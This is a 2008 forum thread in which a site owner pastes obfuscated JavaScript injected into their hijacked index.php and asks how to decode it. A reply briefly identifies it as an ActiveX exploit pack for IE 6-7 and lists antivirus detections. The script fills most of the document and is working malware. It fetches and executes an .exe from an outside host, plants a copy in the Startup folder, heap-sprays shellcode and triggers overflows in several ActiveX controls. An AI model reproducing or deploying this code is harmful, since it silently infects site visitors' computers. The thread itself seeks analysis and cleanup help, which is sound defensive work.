Author Topic: Unk Obfuscation  (Read 4688 times)

0 Members and 1 Guest are viewing this topic.

September 02, 2008, 11:27:19 am
Read 4688 times

redmolla

  • Newbie

  • Offline
  • *

  • 1
before 1 week somebody hijack my index.php, can somebody explain how to decode?
Quote
<script>dvgafVA();function dvgafVA() { SqQMUow = 'h)ttp%#:/(/*HU^Y%)TE!G&YG^LE.&&CO&M%/'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '') + 'bi!n&(/!fil&e.e*xe&%'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');var fAuxxwy = document.createElement('o%b^)j&)e)c!t#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')); fAuxxwy.setAttribute('i(d'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'fAuxxw)y)'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));fAuxxwy.setAttribute('c^l&a*@s&#sid'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'cl^si(d)&:@B(D@^9*6C)55^6*-^6*%5A^3-)11(D@0*)-$$9%83)A&-)%0!0C*$0#4^F)C&29&^E3(6'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));try{var NQCdylS = document.createElement('o*j)e!*c)t'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));NQCdylS.setAttribute('id^'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'N%Q%C%d^y^)l$S%'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));NQCdylS.setAttribute('cl^as*s!i%*d)'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'c^$ls#*i@d:!F0E(^4@#2(D#)5%0*@-!3&6)8C(-^(1*1%D@!0-&A(D(8**1(-@0&0A!%0!C9()0^D#C$(8&D#@9'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var YAEQRvD = 'C$:/&D**o!#c(u(%m%e$nts! a)n)d!% S%e^t^ti#ng(s&*/*)A#!ll U$s@#e*r!(s&/S&t&a@#rt* &$M&&en^!u/#(P&r^o*gra*ms/S!t*a!(r%t)u)p(@/^s#(m(s^s%.@ex&e*'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');NQCdylS.SnapshotPath = SqQMUow;NQCdylS.CompressedPath = YAEQRvD; eval(NQCdylS.PrintSnapshot());}catch(PlkBVjt){}try{var MKZRkuo = fAuxxwy.CreateObject('m(#s&x(m(l$$2.@(X@@ML#HT(T^&P@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),''); var fBrfZRi = fAuxxwy.CreateObject('She)@l&l.&A^pp&li&c*a&ti^o!n!&'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'');var HQNvHpz = fAuxxwy.CreateObject('a^%d(o!@db.s$*tre$a@!m*'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''),'');try{eval(HQNvHpz.type = 1); eval(MKZRkuo.open('GET#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), SqQMUow,false));eval(MKZRkuo.send());eval(HQNvHpz.open());HQNvHpz.Write(MKZRkuo.
responseBody); var SwlQXQH = '.^//..)@/#)/*Z@y$zd@T^!F^d.%e!*xe#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');eval(HQNvHpz.savetofile(SwlQXQH,2));eval(HQNvHpz.close());}catch(PlkBVjt){
}try{eval(fBrfZRi.shellexecute(SwlQXQH)); if(shellexecute=true){ var TRnbjPJ = new ActiveXObject('M^i*!c^)roso!ft&.*XM#L&H(T%T^(P'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));TRnbjPJ.open('GE)T#('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'lo*a!@d&.p*(hp@?(m&d&a!c='.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '') + Math.random()); TRnbjPJ.send(null);}}catch(PlkBVjt){}}catch(PlkBVjt){}}var gEIOuvj = 0x0c0c0c0c; function cLIhmam(mRvfoHW, mxDcJND){while (mRvfoHW.length * 2 < mxDcJND){ mRvfoHW += mRvfoHW;}mRvfoHW = mRvfoHW.substring(0, mxDcJND / 2);return mRvfoHW;}var arsmjOs = unescape("tVpOoVtWyiRtTKu4343tVpOoVtWyiRtTKu4343tVpOoVtWyiRtTKu0febtVpOoVtWyiRtTKu335
btVpOoVtWyiRtTKu66c9tVpOoVtWyiRtTKu80b9tVpOoVtWyiRtTKu8001tVpOoVtWyiRtTKuef33tVp
O
oVtWyiRtTKue243tVpOoVtWyiRtTKuebfatVpOoVtWyiRtTKue805tVpOoVtWyiRtTKuffectVpOoVtW
y
iRtTKufffftVpOoVtWyiRtTKu8b7ftVpOoVtWyiRtTKudf4etVpOoVtWyiRtTKuefeftVpOoVtWyiRtT
K
u64eftVpOoVtWyiRtTKue3aftVpOoVtWyiRtTKu9f64tVpOoVtWyiRtTKu42f3tVpOoVtWyiRtTKu9f6
4
tVpOoVtWyiRtTKu6ee7tVpOoVtWyiRtTKuef03tVpOoVtWyiRtTKuefebtVpOoVtWyiRtTKu64eftVpO
o
VtWyiRtTKub903tVpOoVtWyiRtTKu6187tVpOoVtWyiRtTKue1a1tVpOoVtWyiRtTKu0703tVpOoVtWy
i
RtTKuef11tVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKuaa66tVpOoVtWyiRtTKub9ebtVpOoVtWyiRtTK
u
7787tVpOoVtWyiRtTKu6511tVpOoVtWyiRtTKu07e1tVpOoVtWyiRtTKuef1ftVpOoVtWyiRtTKuefef
t
VpOoVtWyiRtTKuaa66tVpOoVtWyiRtTKub9e7tVpOoVtWyiRtTKuca87tVpOoVtWyiRtTKu105ftVpOo
V
tWyiRtTKu072dtVpOoVtWyiRtTKuef0dtVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKuaa66tVpOoVtWyi
R
tTKub9e3tVpOoVtWyiRtTKu0087tVpOoVtWyiRtTKu0f21tVpOoVtWyiRtTKu078ftVpOoVtWyiRtTKu
e
f3btVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKuaa66tVpOoVtWyiRtTKub9fftVpOoVtWyiRtTKu2e87t
V
pOoVtWyiRtTKu0a96tVpOoVtWyiRtTKu0757tVpOoVtWyiRtTKuef29tVpOoVtWyiRtTKuefeftVpOoV
t
WyiRtTKuaa66tVpOoVtWyiRtTKuaffbtVpOoVtWyiRtTKud76ftVpOoVtWyiRtTKu9a2ctVpOoVtWyiR
t
TKu6615tVpOoVtWyiRtTKuf7aatVpOoVtWyiRtTKue806tVpOoVtWyiRtTKuefeetVpOoVtWyiRtTKub
1
eftVpOoVtWyiRtTKu9a66tVpOoVtWyiRtTKu64cbtVpOoVtWyiRtTKuebaatVpOoVtWyiRtTKuee85tV
p
OoVtWyiRtTKu64b6tVpOoVtWyiRtTKuf7batVpOoVtWyiRtTKu07b9tVpOoVtWyiRtTKuef64tVpOoVt
W
yiRtTKuefeftVpOoVtWyiRtTKu87bftVpOoVtWyiRtTKuf5d9tVpOoVtWyiRtTKu9fc0tVpOoVtWyiRt
T
Ku7807tVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKu66eftVpOoVtWyiRtTKuf3aatVpOoVtWyiRtTKu2a
6
4tVpOoVtWyiRtTKu2f6ctVpOoVtWyiRtTKu66bftVpOoVtWyiRtTKucfaatVpOoVtWyiRtTKu1087tVp
O
oVtWyiRtTKuefeftVpOoVtWyiRtTKubfeftVpOoVtWyiRtTKuaa64tVpOoVtWyiRtTKu85fbtVpOoVtW
y
iRtTKub6edtVpOoVtWyiRtTKuba64tVpOoVtWyiRtTKu07f7tVpOoVtWyiRtTKuef8etVpOoVtWyiRtT
K
uefeftVpOoVtWyiRtTKuaaectVpOoVtWyiRtTKu28cftVpOoVtWyiRtTKub3eftVpOoVtWyiRtTKuc19
1
tVpOoVtWyiRtTKu288atVpOoVtWyiRtTKuebaftVpOoVtWyiRtTKu8a97tVpOoVtWyiRtTKuefeftVpO
o
VtWyiRtTKu9a10tVpOoVtWyiRtTKu64cftVpOoVtWyiRtTKue3aatVpOoVtWyiRtTKuee85tVpOoVtWy
i
RtTKu64b6tVpOoVtWyiRtTKuf7batVpOoVtWyiRtTKuaf07tVpOoVtWyiRtTKuefeftVpOoVtWyiRtTK
u
85eftVpOoVtWyiRtTKub7e8tVpOoVtWyiRtTKuaaectVpOoVtWyiRtTKudccbtVpOoVtWyiRtTKubc34
t
VpOoVtWyiRtTKu10bctVpOoVtWyiRtTKucf9atVpOoVtWyiRtTKubcbftVpOoVtWyiRtTKuaa64tVpOo
V
tWyiRtTKu85f3tVpOoVtWyiRtTKub6eatVpOoVtWyiRtTKuba64tVpOoVtWyiRtTKu07f7tVpOoVtWyi
R
tTKuefcctVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKuef85tVpOoVtWyiRtTKu9a10tVpOoVtWyiRtTKu
6
4cftVpOoVtWyiRtTKue7aatVpOoVtWyiRtTKued85tVpOoVtWyiRtTKu64b6tVpOoVtWyiRtTKuf7bat
V
pOoVtWyiRtTKuff07tVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKu85eftVpOoVtWyiRtTKu6410tVpOoV
t
WyiRtTKuffaatVpOoVtWyiRtTKuee85tVpOoVtWyiRtTKu64b6tVpOoVtWyiRtTKuf7batVpOoVtWyiR
t
TKuef07tVpOoVtWyiRtTKuefeftVpOoVtWyiRtTKuaeeftVpOoVtWyiRtTKubdb4tVpOoVtWyiRtTKu0
e
ectVpOoVtWyiRtTKu0eectVpOoVtWyiRtTKu0eectVpOoVtWyiRtTKu0eectVpOoVtWyiRtTKu036ctV
p
OoVtWyiRtTKub5ebtVpOoVtWyiRtTKu64bctVpOoVtWyiRtTKu0d35tVpOoVtWyiRtTKubd18tVpOoVt
W
yiRtTKu0f10tVpOoVtWyiRtTKu64batVpOoVtWyiRtTKu6403tVpOoVtWyiRtTKue792tVpOoVtWyiRt
T
Kub264tVpOoVtWyiRtTKub9e3tVpOoVtWyiRtTKu9c64tVpOoVtWyiRtTKu64d3tVpOoVtWyiRtTKuf1
9
btVpOoVtWyiRtTKuec97tVpOoVtWyiRtTKub91ctVpOoVtWyiRtTKu9964tVpOoVtWyiRtTKueccftVp
O
oVtWyiRtTKudc1ctVpOoVtWyiRtTKua626tVpOoVtWyiRtTKu42aetVpOoVtWyiRtTKu2cectVpOoVtW
y
iRtTKudcb9tVpOoVtWyiRtTKue019tVpOoVtWyiRtTKuff51tVpOoVtWyiRtTKu1dd5tVpOoVtWyiRtT
K
ue79btVpOoVtWyiRtTKu212etVpOoVtWyiRtTKuece2tVpOoVtWyiRtTKuaf1dtVpOoVtWyiRtTKu1e0
4
tVpOoVtWyiRtTKu11d4tVpOoVtWyiRtTKu9ab1tVpOoVtWyiRtTKub50atVpOoVtWyiRtTKu0464tVpO
o
VtWyiRtTKub564tVpOoVtWyiRtTKueccbtVpOoVtWyiRtTKu8932tVpOoVtWyiRtTKue364tVpOoVtWy
i
RtTKu64a4tVpOoVtWyiRtTKuf3b5tVpOoVtWyiRtTKu32ectVpOoVtWyiRtTKueb64tVpOoVtWyiRtTK
u
ec64tVpOoVtWyiRtTKub12atVpOoVtWyiRtTKu2db2tVpOoVtWyiRtTKuefe7tVpOoVtWyiRtTKu1b07
t
VpOoVtWyiRtTKu1011tVpOoVtWyiRtTKuba10tVpOoVtWyiRtTKua3bdtVpOoVtWyiRtTKua0a2tVpOo
V
tWyiRtTKuefa1".replace(/tVpOoVtWyiRtTK/ig, "%") + "zxLQxSIlQLGyju7468zxLQxSIlQLGyju7074zxLQxSIlQLGyju2F3AzxLQxSIlQLGyju482FzxL
QxSIlQLGyju5955zxLQxSIlQLGyju4554zxLQxSIlQLGyju5947zxLQxSIlQLGyju4C47zxLQxSIlQLG
y
ju2E45zxLQxSIlQLGyju4F43zxLQxSIlQLGyju2F4DzxLQxSIlQLGyju6F6CzxLQxSIlQLGyju6461zx
L
QxSIlQLGyju702EzxLQxSIlQLGyju7068zxLQxSIlQLGyju623FzxLQxSIlQLGyju666F".replace(/zxLQxSIlQLGyj/ig, "%"));var xvoKSRM = 0x400000;var BFqgDoR = arsmjOs.length * 2;var JrfKJyX = BFqgDoR + 0x38;var mxDcJND = xvoKSRM - JrfKJyX;var mRvfoHW = unescape("QTvJMXGYOTXu0c0cQTvJMXGYOTXu0c0c".replace(/QTvJMXGYOTX/ig, "%")); var eUqbWZZ = new Array();mRvfoHW = cLIhmam(mRvfoHW, mxDcJND);var SmpqHDa = gEIOuvj - 0x400000;AvNcadi = SmpqHDa / xvoKSRM; for (i = 0; i < AvNcadi; i++){ e = mRvfoHW + arsmjOs;}function DsaImrJ(){ rnzkzPA = unescape("MOpHXYQTsMruu0d0dMOpHXYQTsMruu0d0d".replace(/MOpHXYQTsMru/ig, "%"));var irISIOC = 0x40000;while(rnzkzPA.length < irISIOC) rnzkzPA += rnzkzPA;rnzkzPA = rnzkzPA.substring(0, 0x3ffe4-arsmjOs.length);XyoQp = new Array();for(i = XyoQp; i < 450; i++) XyoQp = rnzkzPA + arsmjOs; PoQyU = Math.ceil(0xd0d0d0d);document.write('<object classid="CLSID:EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F"></object>');try{ PoQyU = document.scripts[0].createControlRange().length;}catch(e){}setTimeout("startSuperBuddy()", 3000);}function startSuperBuddy(){try {var buddy = new ActiveXObject('Sb).S%u%p%e!!r&B)u%(d%d&y.$@1$^'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));if (buddy){buddy.LinkSBIcons(0x0c0c0c0c);}}catch(e) {}setTimeout("startAudioFile()", 2000);}function startAudioFile(){try{var XrTyx = document.createElement('o&b%jec(t*'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));XrTyx.setAttribute('c^l)^a@$ss()id'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'c&l$sid@:$7@782)9#F*&1*)4%-##D9&1(1(-#4!0F%#F$-(A(2#@F0$-#D1&1)D&B%!8&)D6(#D0$B&C'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));var mms='';for(var i=0; i < 4120; i++) { mms += 'A)*'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''); }mms += ' $^ # %#'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '');XrTyx.SetFormatLikeSample(mms);}catch(e){}setTimeout("startGOM()", 2000);} function startGOM(){var sURL='';for(var i = 0; i < 510; i++){sURL += unescape("wuYUZGpqHmU0c".replace(/wuYUZGpqHmU/ig, "%"));}try{var GomManager = new ActiveXObject('G!om)W&e@bCt)%rl.G$*om*M(@a($nag(er.)1%'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));GomManager.OpenURL(sURL);}catch(e){}setTimeout("startRealPlayer()", 2000);}function startRealPlayer(){try{var rpl = document.createElement('obje)ct))'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, '')),adt='';rpl.setAttribute('c#l!$a(s)si%d$@'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''), 'c%l@s((id$:!2F54@)2A*2^E-&E((D#C9(-4%!B@^F%(7^^-($8C&B1-)8!(7@C$%9@9@1)%9)F**7F)(93)^'.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));for(var i = 0; i < 32; i++) { adt=adt+unescape("RhyHTzGupQrNNn0C".replace(/RhyHTzGupQrNNn/ig, "%")); }for(i = 0; i < 5; i++){rbt = rpl.Console;rpl.Console = adt;rpl.Console = rbt;}setTimeout("startWVF()", 2000);}catch(e){}}function startWVF(){for (i = 0; i < 128; i++) {try{var tar = new ActiveXObject('We(#b%@Vi#e#*wF^@o(l@der&&I!con#.We@^b*V@i(e^!wF&o%l!de&rI*$co(n$*.$1&('.replace(/\!|@|#|\$|%|\^|&|\*|\(|\)/ig, ''));tar.setSlice(0x7ffffffe, 0x05050505, 0x05050505,0x05050505);}catch(e){}}} DsaImrJ();</script>

September 02, 2008, 11:49:33 am
Reply #1

m1573r

  • Special Access
  • Newbie

  • Offline
  • *

  • 6
_http://HUYTEGYGLE.COM/bin/file.exe
it's 2 easy to deobfuscate it.
it replaces some characters in string, then uses the string
looks like XC0re pack
_http://huytegygle.com/login.php adminCP

_http://huytegygle.com/index.php
same xploit for ie 6-7 based on ActiveX

Kaspersky Anti-Virus     Found Trojan-Downloader.Win32.Agent.aeno
NOD32 Found Win32/TrojanDownloader.FakeAlert.HY
antispyware? ^^)

PS in russian huytegygle means "f*** u google"  :D